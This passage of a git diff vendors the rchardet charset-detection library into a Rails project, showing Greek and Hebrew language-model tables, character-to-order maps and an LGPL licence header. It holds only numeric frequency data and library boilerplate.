0,0,0,0,1,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,3,3,3,3,3,3,0,3,0,2,0,3,2,0,3,2,3,2,3,0,0,3,2,3,2,3,3,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,3,0,0,2,3,3,3,3,3,0,0,0,3,0,2,1,0,0,3,2,2,2,0,3,0,0,2,2,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,3,0,3,3,3,2,0,3,0,3,0,3,3,0,2,1,2,3,3,0,0,3,0,3,0,3,3,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,2,3,3,3,0,3,3,3,3,3,3,0,2,3,0,3,0,0,0,2,1,0,2,2,3,0,0,2,2,2,0, + 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,3,0,0,2,3,3,3,2,3,0,0,1,3,0,2,0,0,0,0,3,0,1,0,2,0,0,1,1,1,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,3,3,3,3,3,1,0,3,0,0,0,3,2,0,3,2,3,3,3,0,0,3,0,3,2,2,2,1,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,3,0,3,3,3,0,0,3,0,0,0,0,2,0,2,3,3,2,2,2,2,3,0,2,0,2,2,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,3,3,3,3,2,0,0,0,0,0,0,2,3,0,2,0,2,3,2,0,0,3,0,3,0,3,1,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,3,2,3,3,2,2,3,0,2,0,3,0,0,0,2,0,0,0,0,1,2,0,2,0,2,0, + 0,2,0,2,0,2,2,0,0,1,0,2,2,2,0,2,2,2,0,2,2,2,0,0,2,0,0,1,0,0,0,0, + 0,2,0,3,3,2,0,0,0,0,0,0,1,3,0,2,0,2,2,2,0,0,2,0,3,0,0,2,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,3,0,2,3,2,0,2,2,0,2,0,2,2,0,2,0,2,2,2,0,0,0,0,0,0,2,3,0,0,0,2, + 0,1,2,0,0,0,0,2,2,0,0,0,2,1,0,2,2,0,0,0,0,0,0,1,0,2,0,0,0,0,0,0, + 0,0,2,1,0,2,3,2,2,3,2,3,2,0,0,3,3,3,0,0,3,2,0,0,0,1,1,0,2,0,2,2, + 0,2,0,2,0,2,2,0,0,2,0,2,2,2,0,2,2,2,2,0,0,2,0,0,0,2,0,1,0,0,0,0, + 0,3,0,3,3,2,2,0,3,0,0,0,2,2,0,2,2,2,1,2,0,0,1,2,2,0,0,3,0,0,0,2, + 0,1,2,0,0,0,1,2,0,0,0,0,0,0,0,2,2,0,1,0,0,2,0,0,0,2,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,2,3,3,2,2,0,0,0,2,0,2,3,3,0,2,0,0,0,0,0,0,2,2,2,0,2,2,0,2,0,2, + 0,2,2,0,0,2,2,2,2,1,0,0,2,2,0,2,0,0,2,0,0,0,0,0,0,2,0,0,0,0,0,0, + 0,2,0,3,2,3,0,0,0,3,0,0,2,2,0,2,0,2,2,2,0,0,2,0,0,0,0,0,0,0,0,2, + 0,0,2,2,0,0,2,2,2,0,0,0,0,0,0,2,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,2,0,0,3,2,0,2,2,2,2,2,0,0,0,2,0,0,0,0,2,0,1,0,0,2,0,1,0,0,0, + 0,2,2,2,0,2,2,0,1,2,0,2,2,2,0,2,2,2,2,1,2,2,0,0,2,0,0,0,0,0,0,0, + 0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, + 0,2,0,2,0,2,2,0,0,0,0,1,2,1,0,0,2,2,0,0,2,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,3,2,3,0,0,2,0,0,0,2,2,0,2,0,0,0,1,0,0,2,0,2,0,2,2,0,0,0,0, + 0,0,2,0,0,0,0,2,2,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0, + 0,2,2,3,2,2,0,0,0,0,0,0,1,3,0,2,0,2,2,0,0,0,1,0,2,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,2,0,2,0,3,2,0,2,0,0,0,0,0,0,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, + 0,0,2,0,0,0,0,1,1,0,0,2,1,2,0,2,2,0,1,0,0,1,0,0,0,2,0,0,0,0,0,0, + 0,3,0,2,2,2,0,0,2,0,0,0,2,0,0,0,2,3,0,2,0,0,0,0,0,0,2,2,0,0,0,2, + 0,1,2,0,0,0,1,2,2,1,0,0,0,2,0,0,2,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,2,1,2,0,2,2,0,2,0,0,2,0,0,0,0,1,2,1,0,2,1,0,0,0,0,0,0,0,0,0,0, + 0,0,2,0,0,0,3,1,2,2,0,2,0,0,0,0,2,0,0,0,2,0,0,3,0,0,0,0,2,2,2,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,2,1,0,2,0,1,2,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,1,0,0,0,0,0,0,2, + 0,2,2,0,0,2,2,2,2,2,0,1,2,0,0,0,2,2,0,1,0,2,0,0,2,2,0,0,0,0,0,0, + 0,0,0,0,1,0,0,0,0,0,0,0,3,0,0,2,0,0,0,0,0,0,0,0,2,0,2,0,0,0,0,2, + 0,1,2,0,0,0,0,2,2,1,0,1,0,1,0,2,2,2,1,0,0,0,0,0,0,1,0,0,0,0,0,0, + 0,2,0,1,2,0,0,0,0,0,0,0,0,0,0,2,0,0,2,2,0,0,0,0,1,0,0,0,0,0,0,2, + 0,2,2,0,0,0,0,2,2,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,2,0,0,0, + 0,2,2,2,2,0,0,0,3,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,2,0,0,0,0,0,0,1, + 0,0,2,0,0,0,0,1,2,0,0,0,0,0,0,2,2,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0, + 0,2,0,2,2,2,0,0,2,0,0,0,0,0,0,0,2,2,2,0,0,0,2,0,0,0,0,0,0,0,0,2, + 0,0,1,0,0,0,0,2,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0, + 0,3,0,2,0,0,0,0,0,0,0,0,2,0,0,0,0,0,2,0,0,0,0,0,0,0,2,0,0,0,0,2, + 0,0,2,0,0,0,0,2,2,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,2,0,2,2,1,0,0,0,0,0,0,2,0,0,2,0,2,2,2,0,0,0,0,0,0,2,0,0,0,0,2, + 0,0,2,0,0,2,0,2,2,0,0,0,0,2,0,2,0,0,0,0,0,2,0,0,0,2,0,0,0,0,0,0, + 0,0,3,0,0,0,2,2,0,2,2,0,0,0,0,0,2,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,2,0,0,0,0,0, + 0,2,2,2,2,2,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1, + 0,0,0,0,0,0,0,2,1,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,2,2,0,0,0,0,0,2,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, + 0,2,0,0,0,2,0,0,0,0,0,1,0,0,0,0,2,2,0,0,0,1,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,2,0,0,0, + 0,2,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,2,0,2,0,0,0, + 0,0,0,0,0,0,0,0,2,1,0,0,0,0,0,0,2,0,0,0,1,2,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, + ] + + Latin7GreekModel = { + 'charToOrderMap' => Latin7_CharToOrderMap, + 'precedenceMatrix' => GreekLangModel, + 'mTypicalPositiveRatio' => 0.982851, + 'keepEnglishLetter' => false, + 'charsetName' => "ISO-8859-7" + } + + Win1253GreekModel = { + 'charToOrderMap' => Win1253_CharToOrderMap, + 'precedenceMatrix' => GreekLangModel, + 'mTypicalPositiveRatio' => 0.982851, + 'keepEnglishLetter' => false, + 'charsetName' => "windows-1253" + } +end diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langhebrewmodel.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langhebrewmodel.rb new file mode 100755 index 00000000..37b3b2d3 --- /dev/null +++ b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet/langhebrewmodel.rb @@ -0,0 +1,202 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Simon Montagu +# Portions created by the Initial Developer are Copyright (C) 2005 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# Shoshannah Forbes - original C code (?) +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +module CharDet +# 255: Control characters that usually does not exist in any text +# 254: Carriage/Return +# 253: symbol (punctuation) that does not belong to word +# 252: 0 - 9 + +# Windows-1255 language model +# Character Mapping Table: +Win1255_CharToOrderMap = [ +255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 +255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 +253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 +252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 +253, 69, 91, 79, 80, 92, 89, 97, 90, 68,111,112, 82, 73, 95, 85, # 40 + 78,121, 86, 71, 67,102,107, 84,114,103,115,253,253,253,253,253, # 50 +253, 50, 74, 60, 61, 42, 76, 70, 64, 53,105, 93, 56, 65, 54, 49, # 60 + 66,110, 51, 43, 44, 63, 81, 77, 98, 75,108,253,253,253,253,253, # 70 +124,202,203,204,205, 40, 58,206,207,208,209,210,211,212,213,214, +215, 83, 52, 47, 46, 72, 32, 94,216,113,217,109,218,219,220,221, + 34,116,222,118,100,223,224,117,119,104,125,225,226, 87, 99,227, +106,122,123,228, 55,229,230,101,231,232,120,233, 48, 39, 57,234, + 30, 59, 41, 88, 33, 37, 36, 31, 29, 35,235, 62, 28,236,126,237, +238, 38, 45,239,240,241,242,243,127,244,245,246,247,248,249,250, + 9, 8, 20, 16, 3, 2, 24, 14, 22, 1, 25, 15, 4, 11, 6, 23, + 12, 19, 13, 26, 18, 27, 21, 17, 7, 10, 5,251,252,128, 96,253, +] + +# Model Table: +# total sequences: 100% +# first 512 sequences: 98.4004% +# first 1024 sequences: 1.5981% +# rest sequences: 0.087% +# negative sequences: 0.0015% +HebrewLangModel = [ +0,3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,2,3,2,1,2,0,1,0,0, +3,0,3,1,0,0,1,3,2,0,1,1,2,0,2,2,2,1,1,1,1,2,1,1,1,2,0,0,2,2,0,1, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2,2, +1,2,1,2,1,2,0,0,2,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2, +1,2,1,3,1,1,0,0,2,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,0,1,2,2,1,3, +1,2,1,1,2,2,0,0,2,2,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,2,2,2,2,3,2, +1,2,1,2,2,2,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,2,3,2,2,3,2,2,2,1,2,2,2,2, +1,2,1,1,2,2,0,1,2,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,0,2,2,2,2,2, +0,2,0,2,2,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,0,2,2,2, +0,2,1,2,2,2,0,0,2,1,0,0,0,0,1,0,1,0,0,0,0,0,0,2,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,3,2,1,2,3,2,2,2, +1,2,1,2,2,2,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0, +3,3,3,3,3,3,3,3,3,2,3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,3,1,0,2,0,2, +0,2,1,2,2,2,0,0,1,2,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,2,0,0,1,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,2,3,2,2,3,2,1,2,1,1,1, +0,1,1,1,1,1,3,0,1,0,0,0,0,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, +3,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0, +0,0,1,0,0,0,0,0,2,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2,2,2,2,2, +0,2,0,1,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,3,3,3,2,3,3,3,2,1,2,3,3,2,3,3,3,3,2,3,2,1,2,0,2,1,2, +0,2,0,2,2,2,0,0,1,2,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0, +3,3,3,3,3,3,3,3,3,2,3,3,3,1,2,2,3,3,2,3,2,3,2,2,3,1,2,2,0,2,2,2, +0,2,1,2,2,2,0,0,1,2,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,2,3,3,2,2,2,3,3,3,3,1,3,2,2,2, +0,2,0,1,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,3,3,3,2,3,2,2,2,1,2,2,0,2,2,2,2, +0,2,0,2,2,2,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,1,3,2,3,3,2,3,3,2,2,1,2,2,2,2,2,2, +0,2,1,2,1,2,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,2,3,2,3,3,2,3,3,3,3,2,3,2,3,3,3,3,3,2,2,2,2,2,2,2,1, +0,2,0,1,2,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,3,3,3,2,1,2,3,3,3,3,3,3,3,2,3,2,3,2,1,2,3,0,2,1,2,2, +0,2,1,1,2,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,2,0, +3,3,3,3,3,3,3,3,3,2,3,3,3,3,2,1,3,1,2,2,2,1,2,3,3,1,2,1,2,2,2,2, +0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,0,0, +3,3,3,3,3,3,3,3,3,3,0,2,3,3,3,1,3,3,3,1,2,2,2,2,1,1,2,2,2,2,2,2, +0,2,0,1,1,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, +3,3,3,3,3,3,2,3,3,3,2,2,3,3,3,2,1,2,3,2,3,2,2,2,2,1,2,1,1,1,2,2, +0,2,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, +3,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0, +1,0,1,0,0,0,0,0,2,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,3,3,3,3,2,3,3,2,3,1,2,2,2,2,3,2,3,1,1,2,2,1,2,2,1,1,0,2,2,2,2, +0,1,0,1,2,2,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, +3,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,2,2,0, +0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,0,1,0,1,0,1,1,0,1,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0, +0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, +3,2,2,1,2,2,2,2,2,2,2,1,2,2,1,2,2,1,1,1,1,1,1,1,1,2,1,1,0,3,3,3, +0,3,0,2,2,2,2,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, +2,2,2,3,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,2,1,2,2,2,1,1,1,2,0,1, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,2,2,2,2,2,2,2,2,2,2,1,2,2,2,2,2,2,2,2,2,2,2,0,2,2,0,0,0,0,0,0, +0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,3,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,1,0,2,1,0, +0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0, +0,3,1,1,2,2,2,2,2,1,2,2,2,1,1,2,2,2,2,2,2,2,1,2,2,1,0,1,1,1,1,0, +0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +3,2,1,1,1,1,2,1,1,2,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0, +0,0,2,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0, +2,1,1,2,2,2,2,2,2,2,2,2,2,2,1,2,2,2,2,2,1,2,1,2,1,1,1,1,0,0,0,0, +0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,2,1,2,2,2,2,2,2,2,2,2,2,1,2,1,2,1,1,2,1,1,1,2,1,2,1,2,0,1,0,1, +0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,3,1,2,2,2,1,2,2,2,2,2,2,2,2,1,2,1,1,1,1,1,1,2,1,2,1,1,0,1,0,1, +0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,1,2,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,2,2, +0,2,0,1,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, +3,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,1,1,1,1,1,1,1,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,2,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0, +0,1,1,1,2,1,2,2,2,0,2,0,2,0,1,1,2,1,1,1,1,2,1,0,1,1,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,0,1,0,0,0,0,0,1,0,1,2,2,0,1,0,0,1,1,2,2,1,2,0,2,0,0,0,1,2,0,1, +2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,2,0,2,1,2,0,2,0,0,1,1,1,1,1,1,0,1,0,0,0,1,0,0,1, +2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,1,0,0,0,0,0,1,0,2,1,1,0,1,0,0,1,1,1,2,2,0,0,1,0,0,0,1,0,0,1, +1,1,2,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,2,2,1, +0,2,0,1,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,1,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,1,1,1,1,1,1,1,1,2,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,1, +2,0,1,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,1,1,2,1,1,2,0,1,0,0,0,1,1,0,1, +1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,1,0,1,1,2,0,1,0,0,0,0,2,1,1,2,0,2,0,0,0,1,1,0,1, +1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,1,0,2,1,1,0,1,0,0,2,2,1,2,1,1,0,1,0,0,0,1,1,0,1, +2,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,1,2,2,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,1, +1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,1,2,2,0,0,0,0,2,1,1,1,0,2,1,1,0,0,0,2,1,0,1, +1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,1,0,1,1,2,0,1,0,0,1,1,0,2,1,1,0,1,0,0,0,1,1,0,1, +2,2,1,1,1,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,1,0,2,1,1,0,1,0,0,1,1,0,1,2,1,0,2,0,0,0,1,1,0,1, +2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, +0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 